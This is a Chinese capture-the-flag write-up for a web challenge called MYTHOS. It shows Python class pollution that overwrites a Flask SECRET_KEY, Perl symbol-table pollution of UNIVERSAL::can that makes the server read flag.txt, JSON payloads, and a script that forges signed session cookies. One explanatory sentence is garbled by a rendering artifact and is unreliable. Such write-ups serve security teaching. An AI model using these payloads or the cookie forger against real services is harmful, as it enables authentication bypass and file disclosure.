python 原型污染 perl符号表污染 -- Google 2025 MYTHOS

发布于:2025-07-04 ⋅ 阅读:(11) ⋅ 点赞:(0)

题目实现了一个Game,分为前后端

part 1

前端存在明显原型污染

def copy(src, dst):
    for k, v in src.items():
        if hasattr(dst, "__getitem__"):
            if dst.get(k) and type(v) == dict:
                copy(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            copy(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

@app.route("/score", methods=["POST"])
@game_session
def submit():
    score = ScoreSubmission(session["game"]["player"])
    copy(request.json, score)

    acquired_items = json.loads(session["items"].decode())
    score.items = acquired_items
    return score.toJSON()

我们可以利用此处污染密钥让我们可以伪造session

https://tttang.com/archive/1876/#toc_secret_key

github.com/noraj/flask-session-cookie-manager

{
    "__init__" : {
        "__globals__" : {
            "app" : {
                "config" : {
                    "SECRET_KEY" :"A5rZ"
                }
            }
        }
    }
}

part 2

后端也存在类似原型污染的东西

    sub setAttribute {
        my $dst = shift;
        my $key_name = shift;
        my $value_ref = shift;
        if (!defined $key_name || $key_name eq '' || !defined $value_ref) {
            return 0;
        }
        no strict 'refs';
        *{"$dst"."::$key_name"} = $value_ref;
        use strict 'refs';
        return 1;
    }

    sub copyItems {
        my $dst = shift;
        my $src = shift;
        foreach my $key (keys %$src) {
            if (defined $dst->{$key} && ref $dst->{$key} eq 'HASH' && ref $src->{$key} eq 'HASH') {
                copyItems($dst->{$key}, $src->{$key});
            } elsif (!defined $dst->{$key}) {
                if (ref $src->{$key} ne 'HASH') {
                    $dst->{$key} = $src->{$key};
                } else {
                    foreach my $inner_key (keys %{$src->{$key}}) {
                        my $index = $src->{$key}->{$inner_key};
                        setAttribute($key, $inner_key, $game_artifacts->{$index});
                    }
                }
            } elsif (defined $dst->{$key} && ref $dst->{$key} ne 'HASH') {
                $dst->{$key} = $src->{$key};
            }
        }
        return $dst;
    }

我们发现此处存在符号表污染,再结合路由逻辑思考

post '/event' => sub { 
    my $choice = (body_parameters->get('choice'));
    my $player_name = (body_parameters->get('name'));
    if (!exists $curr_games{$player_name}) {
        return {
            success => 0
        };
    }
    my $game = $curr_games{$player_name};
    my $next = $all_events->{$game->currEv()}->{ev_choice}[$choice]{"goto"};
    $game->addEv($next);
    my $next_ev = $all_events->{$next};
    if ($game->currEv() == 20) {
        my $stats = deserialize(decode_json(decode_base64(body_parameters->get('items'))));
        $stats->{Game} = $player_name;
        $game->{inventory} = $stats;
        if ($game->{inventory}->can("hasAllItems")) {
            if ($game->{inventory}->hasAllItems($game_artifacts) == 1) {
                $next_ev = $all_events->{21};
            } else {
                $next_ev = $all_events->{22};
            }
        }
    }
    my $results = {
            success => 1,
            player => $player_name,
            ev_title => $next_ev->{ev_name},
            ev_desc => $next_ev->{ev_content},
            ev_choice => $next_ev->{ev_choice}
        };
        if (defined $next_ev->{ev_item}) {
            $results->{ev_item} = $next_ev->{ev_item};
        }
        if (defined $game->{inventory}) {
            foreach my $key (keys %{$game->{inventory}}) {
                $results->{items}->{$key} = $game->{inventory}->{$key};
            }
        }
        return $results;
};

在 Perl 中,UNIVERSAL 是所有类的祖先,can 方法用于判断对象是否有某个方法。当 can 被污染让其返回 item_delegate ,调用  g a m e − > i n v e n t o r y − > c a n ( " h a s A l l I t e m s " ) 实际会执行  i t e m d e l e g a t e ,并传入  game->{inventory}->can("hasAllItems") 实际会执行 item_delegate,并传入  game>inventory>can("hasAllItems")实际会执行 itemdelegate,并传入 game->{inventory} 作为参数

{
    "UNIVERSAL": {
        "can": "item_delegate"
    },
    "desc_filename": "./flag.txt",
    "mermaid_scale": 1,
    "angels_scarf": 1,
    "mew_plaque": 1,
    "mimic_gem": 1
}

现在配合前端污染的key伪造session即可

#!/usr/bin/env python3
from itsdangerous import URLSafeTimedSerializer
from flask.sessions import SecureCookieSessionInterface
from flask import Flask
import json

secret_key = "A5rZ"

app = Flask(__name__)
app.secret_key = secret_key

Game_key = "Uzj1m86FEW"
payload = b'{"UNIVERSAL":{"can":"item_delegate"},"desc_filename":"./flag.txt","mermaid_scale":1,"angels_scarf":1,"mew_plaque":1,"mimic_gem":1}'

# 构造 payload(与题目保持一致)
payload = {
    'game': {
        'ev_choice': [{'desc': 'Oh no', 'goto': 22, 'id': 0}],
        'ev_desc': "The pair look at each other before they beckon you to approach, and they do not look happy. The angel bellows, terrifyingly, of your misdeeds. 'First, you mess up the antechamber, tread dust on the carpets, and disrupt our guests. Do you think you are above the rules of this castle?' In one quick movement, a gust of wind takes you through the window and into the open air. It seems like the MYTHOS has claimed yet another victim.",
        'ev_title': 'MYTHOS BAD ENDING',
        'items': {'Game': Game_key, 'Inventory': 'Inventory'},
        'player': Game_key, 'success': 1},
    'items': payload
}

with app.app_context():
    s = SecureCookieSessionInterface().get_signing_serializer(app)
    cookie = s.dumps(payload)
    print("伪造好的 session cookie:\n")
    print(cookie)

网站公告

今日签到

点亮在社区的每一天
去签到